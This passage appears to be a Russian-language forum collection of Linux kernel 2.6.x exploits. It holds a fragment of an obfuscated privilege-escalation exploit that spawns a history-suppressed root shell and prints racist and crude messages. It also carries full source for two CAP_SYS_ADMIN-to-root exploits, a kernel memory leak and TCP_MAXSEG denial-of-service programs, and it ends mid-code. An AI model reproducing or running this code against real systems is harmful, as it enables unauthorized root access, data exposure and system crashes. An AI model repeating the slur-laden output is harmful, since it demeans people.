get_sym(PREPARE_GGDTSGFSRFSD); _m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD); _m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD); } if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2]) { __yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n"); } __pppp_tegddewyfg("$$$ Kernel Credentials detected\n"); *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0]; *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1]; *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2]; } if(ver >= 30) // needs cpu offset { flags |= KERN_DHHDYTMLADSFPYT; if(!_m_cpu_off) _m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765); if(!_m_cpu_off) __yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n"); __pppp_tegddewyfg("$$$ K3rn3l per_cpu r3l0cs 3n4bl3d!\t\n"); *((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off; *((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off; } } static void env_prepare(int argc, char* argv[]) { put_your_hands_up_hooker(argc, argv); if(!(flags & KERN_DIS_DGDGHHYTTFSR34353_FOPS)) // try fops { __pppp_tegddewyfg("??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d\n"); if(!_m_fops) _m_fops = get_sym(RW_FOPS); /* TODO: do RW check for newer -mm kernels which has timer_list_struct RO * Thanks to the guy who killed this vector... you know who you are:) * Lucky for you, there are more:) */ if(_m_fops) { usefops=1; __pppp_tegddewyfg("$$$ w34p0n 0f ch01c3: F0PZzZzzz\n"); } } if(!usefops && !(flags & KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel) { curr_target = lsm_rhel_find_target(1); if(!curr_target) { __pppp_tegddewyfg("!!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!\n"); } else uselsm=1; } if(useidt && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)) { // -i flag curr_target = lsm_rhel_find_target(0); if(!curr_target) { __pppp_tegddewyfg("!!! Un4lb3 t0 f1nd t4rg3t: c0ntinu3 w1th0ut s3linsux d1s4bl3.\n"); /* remove Selinux Flag */ flags &= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX; } } if(!usefops && !useidt && !uselsm) __yyy_tegdtfsrer("!!! 3v3ryth3ng f41l3d!!*@&^@&*^ () * try an0th3r 0d4y L0l\n"); } static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack) { int socklen_l = 8 + stack - addr - 16; return socklen_l; } static struct socketcallAT at; static __dgdhdytrg55 idtover[4] = {0x00100000UL, 0x0020ee00UL, 0x00000000UL, 0x00000000UL}; static void fillsocketcallAT() { at.s = s; at.level = SOL_IP; at.optname = MCAST_MSFILTER; at.optval = buffer; at.optlen = &magiclen; } static void bitch_call(struct socketcallAT *at, void *stack) { asm volatile( "push %%ebx\t\n" "push %%esi\t\n" "push %%ecx\t\n" "push %%edx\t\n" "movl $0x66, %%eax\t\n" "movl $0xf, %%ebx\t\n" "movl %%esp, %%esi\t\n" "movl %0, %%ecx\t\n" "movl %1, %%esp\t\n" "int $0x80\t\n" "movl %%esi, %%esp\t\n" "pop %%edx\t\n" "pop %%ecx\t\n" "pop %%esi\t\n" "pop %%ebx\t\n" : : "r"(at), "r"(stack) : "memory", "eax", "ecx", "ebx", "esi" ); } static void __setmcbuffer(__dgdhdytrg55 value) { int i; __dgdhdytrg55 *p = (__dgdhdytrg55*)buffer; for(i=0; i<sizeof(buffer)/sizeof(void*); i++) *(p+i) = value; } static void idt_smash(__yyrhdgdtfs66ytgetrfd idtbase) { int i; __dgdhdytrg55 curr; for(i=0; i<sizeof(idtover)/sizeof(idtover[0]);i++) { curr = idtover; __setmcbuffer(curr); magiclen = get_socklen(idtbase + (i*4), Y0Y0STOP); bitch_call(&at, (void*)Y0Y0STOP); } } static void y0y0stack() { void* map = mmap((void*)Y0Y0SMAP, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1,0); if(MAP_FAILED == map) __xxxfdgftr_hshsgdt("mmap"); } static void y0y0code() { void* map = mmap((void*)Y0Y0CMAP, PAGE_SIZE, #ifdef TRY_REMAP_DEFAULT PROT_READ|PROT_WRITE, #else PROT_READ|PROT_WRITE|PROT_EXEC, #endif MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1,0); if(MAP_FAILED == map) __xxxfdgftr_hshsgdt("mmap"); } static int rey0y0code(unsigned long old) { int fd; void *map; volatile char wizard; char cwd[1024]; getcwd(cwd, sizeof(cwd)); strcat(cwd, "/__tmpfile"); unlink(cwd); fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU); if(fd < 0) return -1; write(fd, (const void*)old, PAGE_SIZE); if(munmap((void*)old, PAGE_SIZE) < 0) return -1; map = mmap((void*)old, PAGE_SIZE, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, fd,0); if(map == MAP_FAILED) return -1; /* avoid lazy page fault handler * Triple Fault when using idt vector * and no pages are already mapped:) */ wizard = *((char*)old); unlink(cwd); return wizard; } int main(int argc, char*argv[]) { int uid,fd; __yyrhdgdtfs66ytgetrfd *patch, idtb; struct pollfd pfd; printf(BANNER); uid = getuid(); env_prepare(argc, argv); y0y0stack(); y0y0code(); if(useidt) { idtb = getidt(); __gggdfstsgdt_dddex("$$$ h0m3 b4s3 addr3ss: %llx\n", idtb); __pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - IDT m3th34d\n"); patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT); *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T); __pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n"); if(flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX) { __pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n"); p4tch_sel1nux_codztegfaddczda(curr_target); } __dhdyetgdfstreg__((void*)J0J0S, ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345)); } else if(usefops || uselsm) { __pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d\n"); patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF); *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T); __setmcbuffer(J0J0S); __pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n"); if(uselsm && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)) { __pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n"); p4tch_sel1nux_codztegfaddczda(curr_target); } __dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0)); } /* set shellcode level 2 */ if(flags & KERN_DGGDYDTEGGETFDRLAK) { __pppp_tegddewyfg("$$$ Us1ng cr3d s3ash3llc0d3z\n"); __dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr)); } else { __pppp_tegddewyfg("$$$ Us1ng st4nd4rd s3ash3llz\n"); __dhdyetgdfstreg__((void*)J0J0R00T, ttrg0ccc, sizeof(ttrg0ccc)); *((unsigned int*)(J0J0R00T + R0C_0FF)) = uid; } __pppp_tegddewyfg("$$$ 0p3n1ng th3 m4giq p0rt4l\n"); s = socket(AF_INET, SOCK_DGRAM, 0); if(s < 0) __xxxfdgftr_hshsgdt("socket"); fillsocketcallAT(); #ifdef TRY_REMAP_DEFAULT if(rey0y0code(Y0Y0CMAP) < 0) __yyy_tegdtfsrer("!!! Un4bl3 t0 r3m4p sh1t\t\n"); #endif if(useidt) { __yyrhdgdtfs66ytgetrfd idtentry = idtb + (2*sizeof(__yyrhdgdtfs66ytgetrfd)*0xdd); __gggdfstsgdt_dddex("$$$ Us1ng 1dt 3ntry: %d\n", 0xdd); idt_smash((idtentry)); sleep(1); asm volatile("int $0xdd\t\n"); } else if(usefops) { magiclen = get_socklen(_m_fops, Y0Y0STOP); magiclen -= 7*sizeof(__yyrhdgdtfs66ytgetrfd); __gggdfstsgdt_dddex("$$$ m4q1c p0rt4l l3n f0und: 0x%x\n", magiclen); __pppp_tegddewyfg("$$$ 0v3r thr0w f0ps g0v3rnm3nt\n"); bitch_call(&at, (void*)Y0Y0STOP); sleep(1); fd = open(TMAGIC_66TDFDRTS, O_RDONLY); if(fd < 0) __xxxfdgftr_hshsgdt("!!! fuq t1m3r_l1st"); pfd.fd = fd; pfd.events = POLLIN | POLLOUT; poll(&pfd, 1, 0); } else if(uselsm) { int msqid; __yyrhdgdtfs66ytgetrfd selinux_msg_off = curr_target->selinux_ops + (8*RHEL_LSM_OFF); __yyrhdgdtfs66ytgetrfd dummy_msg_off = curr_target->dummy_security_ops + (8*RHEL_LSM_OFF); __yyrhdgdtfs66ytgetrfd capability_msg_off = curr_target->capability_ops + (8*RHEL_LSM_OFF); msqid = msgget(0, IPC_PRIVATE|0600); if(msqid < 0) __xxxfdgftr_hshsgdt("!!! fuqqqqqq msgg3t"); magiclen = get_socklen(selinux_msg_off, Y0Y0STOP); __setmcbuffer(J0J0S); bitch_call(&at, (void*)Y0Y0STOP); magiclen = get_socklen(selinux_msg_off+4, Y0Y0STOP); __setmcbuffer(0); bitch_call(&at, (void*)Y0Y0STOP); magiclen = get_socklen(dummy_msg_off, Y0Y0STOP); __setmcbuffer(J0J0S); bitch_call(&at, (void*)Y0Y0STOP); magiclen = get_socklen(dummy_msg_off+4, Y0Y0STOP); __setmcbuffer(0); bitch_call(&at, (void*)Y0Y0STOP); magiclen = get_socklen(capability_msg_off, Y0Y0STOP); __setmcbuffer(J0J0S); bitch_call(&at, (void*)Y0Y0STOP); magiclen = get_socklen(capability_msg_off+4, Y0Y0STOP); __setmcbuffer(0); bitch_call(&at, (void*)Y0Y0STOP); msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it } munmap((void*)Y0Y0CMAP, PAGE_SIZE); /* exec */ if(getuid() == 0) { pid_t pid; __pppp_tegddewyfg("$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP\n"); pid = fork(); if(pid == 0) { char *args[] = {"/bin/sh", "-i", NULL}; char *envp[] = {"TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "HISTFILE=/dev/null", "HISTFILESIZE=0", "PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL }; execve("/bin/sh", args, envp); } else { int status; waitpid(pid, &status, 0); } } else __pppp_tegddewyfg("!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!\n"); close(s); return 0; } #endif // -m32
2.6.37 local root exploit 2.6.37 local root exploit Сплоит для эскалации привилегий на ядре линукс версии 2.6.37 Говорят, что должен работать и на ранних версиях, но вот, что мы видим на домашней бубунте: Код: onthar@desktop:~$ cat /proc/version Linux version 2.6.35-23-generic (buildd@allspice) (gcc version 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu5) ) #41-Ubuntu SMP Wed Nov 24 11:55:36 UTC 2010 onthar@desktop:~$ gcc -o full-nelson full-nelson.c onthar@desktop:~$ ./full-nelson [*] Resolving kernel addresses... [+] Resolved econet_ioctl to 0xffffffffa02a7610 [+] Resolved econet_ops to 0xffffffffa02a7720 [+] Resolved commit_creds to 0xffffffff810863c0 [+] Resolved prepare_kernel_cred to 0xffffffff81086890 [*] Calculating target... [*] Triggering payload... [*] Exploit failed to get root. Код: /* * Linux Kernel <= 2.6.37 local privilege escalation * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc full-nelson.c -o full-nelson * ./full-nelson * * This exploit leverages three vulnerabilities to get root, all of which were * discovered by Nelson Elhage: * * CVE-2010-4258 * ------------- * This is the interesting one, and the reason I wrote this exploit. If a * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL * word will be written to a user-specified pointer when that thread exits. * This write is done using put_user(), which ensures the provided destination * resides in valid userspace by invoking access_ok(). However, Nelson * discovered that when the kernel performs an address limit override via * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, * etc.), this override is not reverted before calling put_user() in the exit * path, allowing a user to write a NULL word to an arbitrary kernel address. * Note that this issue requires an additional vulnerability to trigger. * * CVE-2010-3849 * ------------- * This is a NULL pointer dereference in the Econet protocol. By itself, it's * fairly benign as a local denial-of-service. It's a perfect candidate to * trigger the above issue, since it's reachable via sock_no_sendpage(), which * subsequently calls sendmsg under KERNEL_DS. * * CVE-2010-3850 * ------------- * I wouldn't be able to reach the NULL pointer dereference and trigger the * OOPS if users weren't able to assign Econet addresses to arbitrary * interfaces due to a missing capabilities check. * * In the interest of public safety, this exploit was specifically designed to * be limited: * * * The particular symbols I resolve are not exported on Slackware or Debian * * Red Hat does not support Econet by default * * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and * Debian * * However, the important issue, CVE-2010-4258, affects everyone, and it would * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly * more sophisticated version of this that doesn't have the roadblocks I put in * to prevent abuse by script kiddies. * * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64. * * NOTE: the exploit process will deadlock and stay in a zombie state after you * exit your root shell because the Econet thread OOPSes while holding the * Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother. * * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla */
Linux Kernel CAP_SYS_ADMIN to root Exploit Код: /* * Linux Kernel CAP_SYS_ADMIN to root exploit * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc -w caps-to-root.c -o caps-to-root * sudo setcap cap_sys_admin+ep caps-to-root * ./caps-to-root * * This exploit is NOT stable: * * * It only works on 32-bit x86 machines * * * It only works on >= 2.6.34 kernels (it could probably be ported back, but * it involves winning a race condition) * * * It requires symbol support for symbols that aren't included by default in * several distributions * * * It requires the Phonet protocol, which may not be compiled on some * distributions * * * You may experience problems on multi-CPU systems * * It has been tested on a stock Ubuntu 10.10 installation. I wouldn't be * surprised if it doesn't work on other distributions. * * ---- * * Lately there's been a lot of talk about how a large subset of Linux * capabilities are equivalent to root. CAP_SYS_ADMIN is a catch-all * capability that, among other things, allows mounting filesystems and * injecting commands into an administrator's shell - in other words, it * trivially allows you to get root. However, I found another way to get root * from CAP_SYS_ADMIN...the hard way. * * This exploit leverages a signedness error in the Phonet protocol. By * specifying a negative protocol index, I can craft a series of fake * structures in userspace and cause the incrementing of an arbitrary kernel * address, which I then leverage to execute arbitrary kernel code. * * Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth, * and bla. * */ #include <stdio.h> #include <fcntl.h> #include <sys/socket.h> #include <errno.h> #include <string.h> #include <linux/capability.h> #include <sys/utsname.h> #include <sys/mman.h> #include <unistd.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int getroot(void) { commit_creds(prepare_kernel_cred(0)); return 0; } int konami(void) { /* Konami code! */ asm("inc %edx;" /* UP */ "inc %edx;" /* UP */ "dec %edx;" /* DOWN */ "dec %edx;" /* DOWN */ "shl %edx;" /* LEFT */ "shr %edx;" /* RIGHT */ "shl %edx;" /* LEFT */ "shr %edx;" /* RIGHT */ "push %ebx;" /* B */ "pop %ebx;" "push %eax;" /* A */ "pop %eax;" "mov $getroot, %ebx;" "call *%ebx;"); /* START */ return 0; } /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) return 0; oldstyle = 1; } while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr); fclose(f); return addr; } } fclose(f); return 0; } int main(int argc, char * argv[]) { int sock, proto, i, offset = -1; unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr; void * map; /* Create a socket to load the module for symbol support */ printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n"); sock = socket(PF_PHONET, SOCK_DGRAM, 0); if(sock < 0) { if(errno == EPERM) printf("[*] You don't have CAP_SYS_ADMIN.\n"); else printf("[*] Failed to open Phonet socket.\n"); return -1; } /* Resolve kernel symbols */ printf("[*] Resolving kernel symbols...\n"); proto_tab = get_kernel_sym("proto_tab"); pn_ops = get_kernel_sym("phonet_dgram_ops"); pn_ioctl = get_kernel_sym("pn_socket_ioctl"); commit_creds = get_kernel_sym("commit_creds"); prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred"); if(!proto_tab || !commit_creds || !prepare_kernel_cred || !pn_ops || !pn_ioctl) { printf("[*] Failed to resolve kernel symbols.\n"); return -1; } /* Thanks bla, for reminding me how to do basic math */ landing = 0x20000000; proto = 1 << 31 | (landing - proto_tab) >> 2; /* Map it */ printf("[*] Preparing fake structures...\n"); map = mmap((void *)landing, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf("[*] Failed to map landing area.\n"); return -1; } /* Pointer to phonet_protocol struct */ ptr = (unsigned long *)landing; ptr[0] = &ptr[1]; /* phonet_protocol struct */ for(i = 1; i < 4; i++) ptr = &ptr[4]; /* proto struct */ for(i = 4; i < 204; i++) ptr = &ptr[204]; /* First, do a test run to calculate any offsets */ target = 0x30000000; /* module struct */ for(i = 204; i < 404; i++) ptr = target; /* Map it */ map = mmap((void *)0x30000000, 0x2000000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf("[*] Failed to map landing area.\n"); return -1; } printf("[*] Calculating offsets...\n"); socket(PF_PHONET, SOCK_DGRAM, proto); ptr = 0x30000000; for(i = 0; i < 0x800000; i++) { if(ptr != 0) { offset = i * sizeof(void *); break; } } if(offset == -1) { printf("[*] Test run failed.\n"); return -1; } /* MSB of pn_ioctl */ target = pn_ops + 10 * sizeof(void *) - 1 - offset; /* Re-fill the module struct */ ptr = (unsigned long *)landing; for(i = 204; i < 404; i++) ptr = target; /* Push pn_ioctl fptr into userspace */ printf("[*] Modifying function pointer...\n"); landing = pn_ioctl; while((landing & 0xff000000) != 0x10000000) { socket(PF_PHONET, SOCK_DGRAM, proto); landing += 0x01000000; } /* Map it */ map = mmap((void *)(landing & ~0xfff), 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf("[*] Failed to map payload area.\n"); return -1; } /* Copy payload */ memcpy((void *)landing, &konami, 1024); printf("[*] Executing Konami code at ring0...\n"); ioctl(sock, 0, NULL); if(getuid()) { printf("[*] Exploit failed to get root.\n"); return -1; } printf("[*] Konami code worked! Have a root shell.\n"); execl("/bin/sh", "/bin/sh", NULL); } http://www.exploit-db.com/exploits/15916/
Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) Код: /* * Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) * by Joe Sylve * @jtsylve on twitter * * Released: Jan 7, 2011 * * Based on the bug found by Dan Rosenberg (@djrbliss) * only loosly based on his exploit http://www.exploit-db.com/exploits/15916/ * * Usage: * gcc -w caps-to-root2.c -o caps-to-root2 * sudo setcap cap_sys_admin+ep caps-to-root2 * ./caps-to-root2 * * Kernel Version >= 2.6.34 (untested on earlier versions) * * Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit * * This exploit takes advantage of the same underflow as the original, * but takes a different approach. Instead of underflowing into userspace * (which doesn't work on 64-bit systems and is a lot of work), I underflow * to some static values inside of the kernel which are referenced as pointers * to userspace. This method is pretty simple and seems to be reliable. */ #include <stdio.h> #include <sys/socket.h> #include <errno.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> // Skeleton Structures of the Kernel Structures we're going to spoof struct proto_ops_skel { int family; void *buffer1[8]; int (*ioctl)(void *, int, long); void *buffer2[12]; }; struct phonet_protocol_skel { void *ops; void *prot; int sock_type; }; #ifdef __x86_64__ #define SYM_NAME "local_port_range" #define SYM_ADDRESS 0x0000007f00000040 #define SYM_OFFSET 0x0 typedef int (* _commit_creds)(unsigned long cred); typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred); #else //32-bit #define SYM_NAME "pn_proto" #define SYM_ADDRESS 0x4e4f4850 #define SYM_OFFSET 0x90 typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); #endif _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int getroot(void * v, int i, long l) { commit_creds(prepare_kernel_cred(0)); return 0; } /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; int ret; char command[512]; sprintf(command, "grep \"%s\" /proc/kallsyms", name); f = popen(command, "r"); while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr); pclose(f); return addr; } } pclose(f); return 0; } int main(int argc, char * argv[]) { int sock, proto; unsigned long proto_tab, low_kern_sym, pn_proto; void * map; /* Create a socket to load the module for symbol support */ printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n"); sock = socket(PF_PHONET, SOCK_DGRAM, 0); if(sock < 0) { if(errno == EPERM) printf("[*] You don't have CAP_SYS_ADMIN.\n"); else printf("[*] Failed to open Phonet socket.\n"); return -1; } close(sock); /* Resolve kernel symbols */ printf("[*] Resolving kernel symbols...\n"); proto_tab = get_kernel_sym("proto_tab"); low_kern_sym = get_kernel_sym(SYM_NAME) + SYM_OFFSET; pn_proto = get_kernel_sym("pn_proto"); commit_creds = (void *) get_kernel_sym("commit_creds"); prepare_kernel_cred = (void *) get_kernel_sym("prepare_kernel_cred"); if(!proto_tab || !commit_creds || !prepare_kernel_cred) { printf("[*] Failed to resolve kernel symbols.\n"); return -1; } if (low_kern_sym >= proto_tab) { printf("[*] %s is mapped higher than prototab. Can not underflow :-(.\n", SYM_NAME); return -1; } /* Map it */ printf("[*] Preparing fake structures...\n"); const struct proto_ops_skel fake_proto_ops2 = { .family = AF_PHONET, .ioctl = &getroot, }; struct phonet_protocol_skel pps = { .ops = (void *) &fake_proto_ops2, .prot = (void *) pn_proto, .sock_type = SOCK_DGRAM, }; printf("[*] Copying Structures.\n"); map = mmap((void *) SYM_ADDRESS, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if(map == MAP_FAILED) { printf("[*] Failed to map landing area.\n"); perror("mmap"); return -1; } memcpy((void *) SYM_ADDRESS, &pps, sizeof(pps)); // Calculate Underflow proto = -((proto_tab - low_kern_sym) / sizeof(void *)); printf("[*] Underflowing with offset %d\n", proto); sock = socket(PF_PHONET, SOCK_DGRAM, proto); if(sock < 0) { printf("[*] Underflow failed :-(.\n"); return -1; } printf("[*] Elevating privlidges...\n"); ioctl(sock, 0, NULL); if(getuid()) { printf("[*] Exploit failed to get root.\n"); return -1; } printf("[*] This was a triumph... I'm making a note here, huge success.\n"); execl("/bin/sh", "/bin/sh", NULL); close(sock); munmap(map, 0x1000); return 0; } http://www.exploit-db.com/exploits/15944/
Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT Leak Exploit Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT Leak Exploit Код: /* Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak * ================================================ * Information leak exploit for CVE-2010-4077 which * leaks kernel stack space back to userland due to * uninitialized struct member "reserved" in struct * serial_icounter_struct copied to userland. uses * ioctl to trigger memory leak, dumps to file and * displays to command line. * * -- prdelka * */ #include <termios.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/serial.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char* argv[]) { int fd, ret = 0, i; struct serial_icounter_struct buffer; printf("[ Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit\n"); if(argc < 2){ printf("[ You need to supply a device name e.g. /dev/ttyS0\n"); exit(-1); }; memset(&buffer,0,sizeof(buffer)); if((fd = open(argv[1], O_RDONLY)) == -1){ printf("[ Couldn't open %s\n",argv[1]); exit(-1); } if((ioctl(fd, TIOCGICOUNT, &buffer)) == -1){ printf("[ Problem with ioctl() request\n"); exit(-1); } close(fd); for(i=0;i<=9;i++){ printf("[ int leak[%d]: %x\n",i,buffer.reserved); }; if((fd = open("./leak", O_RDWR | O_CREAT, 0640)) == -1){ printf("[ Can't open file to write memory out\n"); exit(-1); } for(i=0;i<=9;i++){ ret += write(fd,&buffer.reserved,sizeof(int)); } close(fd); printf("[ Written %d leaked bytes to ./leak\n",ret); exit(0); } http://www.exploit-db.com/exploits/16973/
Linux Kernel < 2.6.37-rc2 TCP_MAXSEG Kernel Panic DoS Linux Kernel < 2.6.37-rc2 TCP_MAXSEG Kernel Panic DoS Код: /* * TCP_MAXSEG Kernel Panic DoS for Linux < 2.6.37-rc2 * by zx2c4 * * This exploit triggers CVE-2010-4165, a divide by zero * error in net/ipv4/tcp.c. Because this is on the softirq * path, the kernel oopses and then completely dies with * no chance of recovery. It has been very reliable as a * DoS, but is not useful for triggering other bugs. * * -zx2c4, 28-2-2011 */ #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <net/if.h> #include <arpa/inet.h> #include <netinet/tcp.h> int main() { struct sockaddr_in laddr; memset(&laddr, 0, sizeof(laddr)); laddr.sin_family = AF_INET; laddr.sin_addr.s_addr = inet_addr("127.0.0.1"); laddr.sin_port = htons(31337); int listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (listener < 0) { printf("[-] Could not open listener.\n"); return -1; } int val = 12; if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) { printf("[-] Could not set sockopt.\n"); return -1; } if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) { printf("[-] Could not bind to address.\n"); return -1; } if (listen(listener, 1) < 0) { printf("[-] Could not listen.\n"); return -1; } int hello = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (hello < 0) { printf("[-] Could not open connector.\n"); return -1; } if (connect(hello, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) { printf("[-] Could not connect to listener.\n"); return -1; } printf("[-] Connection did not trigger oops.\n"); return 0; } http://www.exploit-db.com/exploits/16952/
Linux Kernel <= 2.6.37 Local Kernel Denial of Service Linux Kernel <= 2.6.37 Local Kernel Denial of Service Код: /* Linux Kernel <= 2.6.37 local kernel DoS (CVE-2010-4165) * ======================================================= * A divide by 0 error occurs in tcp_select_initial_window * when processing user supplied TCP_MAXSEG facilitating a * local denial-of-service condition (kernel oops!) in all * Linux Kernel 2.6.x branch (2.6.37 & below). This issue * can be triggered easily with a call to setsockopt() on * a listening network socket and then establishing a TCP * connection to the awaiting socket. * * -- prdelka * */ #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netinet/tcp.h> int main() { int optval, optlen, ret, sd, sd2, pid; char *host = "localhost"; struct sockaddr_in locAddr; struct sockaddr_in servAddr; struct sockaddr_in dstAddr; printf("[ Linux Kernel tcp_select_initial_window divide by 0 DoS\n"); sd = socket(AF_INET, SOCK_STREAM, 0); memset(&servAddr,0,sizeof(servAddr)); memset(&dstAddr,0,sizeof(dstAddr)); servAddr.sin_family = AF_INET; servAddr.sin_port = htons(60000); servAddr.sin_addr.s_addr = INADDR_ANY; dstAddr.sin_family = AF_INET; inet_aton("127.0.0.1", &dstAddr.sin_addr); dstAddr.sin_port = htons(60000); if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){ printf("[ Cannot bind listener service\n"); exit(-1); } listen(sd,4); optval = 12; ret = setsockopt(sd, IPPROTO_TCP, TCP_MAXSEG, &optval, sizeof(optval)); if(ret==0) { printf("[ System is not patched against CVE-2010-4165\n[ Goodnight, sweet prince.\n"); int sin_size = sizeof(struct 